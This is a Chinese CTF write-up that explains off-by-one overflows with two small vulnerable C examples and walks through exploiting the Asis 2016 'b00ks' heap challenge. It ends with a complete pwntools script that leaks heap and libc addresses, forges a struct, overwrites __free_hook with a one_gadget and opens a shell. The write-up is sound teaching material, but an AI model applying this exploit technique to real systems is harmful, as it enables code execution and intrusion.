前言

off-by-one这种技术不仅仅适用于堆,在栈溢出中也可以得到很好的应用,由于ctf很喜欢在堆中出题。严格来说off-by-one漏洞是一种特殊的溢出漏洞,off-by-one指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节

漏洞原理

off-by-one这种漏洞的形成和整形溢出很相似,往往都是由于对边界的检查不够严谨,当然也不排除和写入的size正好就只多了一个字节的情况,边界验证不严谨通常有两种情况:

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误,导致多写了一个字节,后面会举例讲解
  • 对字符串长度判断有误

    简例

    1.循环边界不严谨

    int my_gets(char *ptr,int size)
    {
    int i;
    for(i = 0; i <= size; i++)
    {
    ptr[i] = getchar();
    }
    return i;
    }
    int main()
    {
    char *chunk1,*chunk2;
    chunk1 = (char *)malloc(16);
    chunk2 = (char *)malloc(16);
    puts("Get Input:");
    my_gets(chunk1, 16);
    return 0;
    }

    2.对字符串长度判断有误

    int main(void)
    {
    char buffer[40]="";
    void *chunk1;
    chunk1=malloc(24);
    puts("Get Input");
    gets(buffer);
    if(strlen(buffer)==24)
    {
    strcpy(chunk1,buffer);
    }
    return 0;
    }
    还是讲一下这个 例子的流程,首先创建了一个40字节的字符串buffer,然后又创建了一个24字节的堆chunk1。接着从外部接收字符串并存放在字符串buffer中,然后判断buffer中的字符串的长度是否为24个字节,如果是将这段字符串放在堆中。其实乍一看来并没有什么问题,但是有一个隐形的东西,就是结束符\x00。strcpy函数在拷贝的时候也会将结束符\x00存入堆块中,也就是说我们想chunk1中一共写了25个字节,这就导致了chunk1溢出了一个字节

    实例

    https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks
    Pasted image 20250306141645

sub_9F5
Pasted image 20250306150505
Pasted image 20250306150525
Pasted image 20250306150445
Pasted image 20250306144232
关键点

  • 作者名存放在off_202018指针中,这个指针一共32个字节
  • 图书结构体指针存放在off_202010指针中
  • sub_9F5()函数存在off-by-one漏洞,在首次创建作者名或修改作者名的时候,如果填写32个字节的字符串,那么就会导致\x00溢出到off_202018的低位

输入任意32个字节的字符串将存放作者名的off_202018空间填满
将代码段起始地址加上off_202018的偏移就可以得到存放作者名地址的指针了:
Pasted image 20250306191120

可以看到0x55555575602010中存放的就是图书1的结构体指针,紧跟着的就是图书2的结构体指针。还有一点需要注意的是我们输入的作者名也紧紧地贴在两个结构体指针前面,这是因为存放这两个东西的off_202010和off_202018是挨着的
Pasted image 20250306202108
由于作者名和book1结构体相连,所以事实上book1结构体指针的低位30将原有作者名溢出的\x00覆盖掉了。那么我们如果打印作者名,最后的\x00也是要输出的,但是被e0覆盖之后e0也会被打印,由于e0是book1结构体指针的起始位置,那么book1结构体指针也会被一起打印出来。
举个栗子:两张扑克牌A、B,牌A放在桌子上,牌B的边缘涂上胶水,接着将牌B有胶水的一面边缘放在牌A的边缘使两张牌黏在一起,最后从桌子上拿起牌A,由于A与B粘合的原因,牌B也会跟着被从桌子上拿起

book1的结构体指针:0x0000555555a02130
Pasted image 20250306204104

既然book1的结构体指针低位能够覆盖作者名的\x00,那么作者名的\x00是不是也能够覆盖结构体指针的低位呢?正好这个程序还有修改作者名的功能,而且在前面ida分析的时候发现新的作者名依然还会存放在202018的位置。那么我们预想一下book1的结构体指针是0x0000555555a020e0那么被覆盖之后就会变成0x0000555555a02000

Pasted image 20250306205146
可以看到book1原有的结构体指针0x0000555555a020e0被\x00覆盖成了0x0000555555a02000,现在拿出你的记事本,0x0000555555a020b0的位置就是刚才book1_desc的位置,这也是为什么要将book1_name设置成128的原因。那么我们去想想一想,调用一本书的流程:首先是和图书id对应着图书的结构体指针,结构体指针对应着结构体,结构体带动其中的成员变量。那么上图我们通过\x00覆盖之后原有的结构体指针变成了0x0000555555a020b0,那么程序就会去0x0000555555a020b0的位置寻找结构体。如果我们在原有的book1的book1_desc的位置伪造一个结构体,然后在进行\xb0覆盖,那么就把伪造的结构体当做book1来实现:

Pasted image 20250306211151

book1=0x0000555555a02130
Pasted image 20250306211606

  • book2_name-book1_addr=0x555555a02168-0x0000555555a02130=0x38
  • book2_desc - book1_addr = 0x0000555555a02170 - 0x0000555555a02130 = 0x40
    payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
    我们部署好结构体之后还需要重新修改一下作者名,因为我们的结构体是写在原book1_desc中的,所以按照攻击流程上来说应该先部署伪造的结构体,然后再使用\x00覆盖book1结构体指针,使指针指向我们伪造的结构体

这样一来我们按c回到程序执行流程,先修改作者名,然后再次执行打印功能,就会将book2_name和book2_desc打印出来了:

book1_addr = 0x555555757730
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
from pwn import *
context.log_level='info'
context.terminal = ['tmux', 'splitw', '-h']
p=process('./b00ks')
libc=ELF('/home/zechariah/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
def create_book(name_size, name, des_size, des):
p.sendlineafter('> ', '1')
p.sendlineafter('name size: ', str(name_size))
p.sendlineafter('chars): ', name)
p.sendlineafter('description size: ', str(des_size))
p.sendlineafter('description: ', des)
def delete_book(id):
p.sendlineafter('> ', '2')
p.sendlineafter('delete: ', str(id))
def edit_book(id,new_des):
p.sendlineafter('> ', '3')
p.sendlineafter('edit: ', str(id))
p.sendlineafter('description: ', new_des)
def print_book(id):
p.sendlineafter('> ', '4')
p.recvuntil(': ')
for i in range(id):
book_id=int(p.recvline()[:-1])
p.recvuntil(': ')
book_name=p.recvline()[:-1]
p.recvuntil(': ')
book_des=p.recvline()[:-1]
p.recvuntil(': ')
book_author=p.recvline()[:-1]
return book_id,book_name,book_des,book_author
def change_author(author_name):
p.sendlineafter('> ', '5')
p.sendlineafter('name: ',author_name)
def createname(name):
p.readuntil("name: ")
p.sendline(name)

createname("hollkaaabbbbbbbbccccccccdddddddd")
create_book(208,'Zechariah',32,'Zechariah_des1')//根据实际计算
create_book(0x21000,'Zechariah',0x21000,'Zechariah_des2')
book_id,book_name,book_des,book_author=print_book(1)
book1_addr=u64(book_author[32:32+6].ljust(8,b'\x00'))
success("book1_addr: "+hex(book1_addr))
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
edit_book(1, payload)
change_author("hollkaaabbbbbbbbccccccccdddddddd")
book_id, book_name, book_des, book_author = print_book(1)
book2_name_addr = u64(book_name.ljust(8,b"\x00"))
book2_des_addr = u64(book_des.ljust(8,b"\x00"))
success("book2_name_addr: "+hex(book2_name_addr))
#0x7ffff7fd2010-0x7ffff7800000
libc_base = book2_name_addr - (0x7ffff7fd2010-0x7ffff7800000)
success("libc_base: "+hex(libc_base))


free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base+0x4525a #0x4525a 0xef9f4 0xf0897
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
edit_book(1, p64(free_hook))
edit_book(2, p64(one_gadget))

delete_book(2)
p.interactive()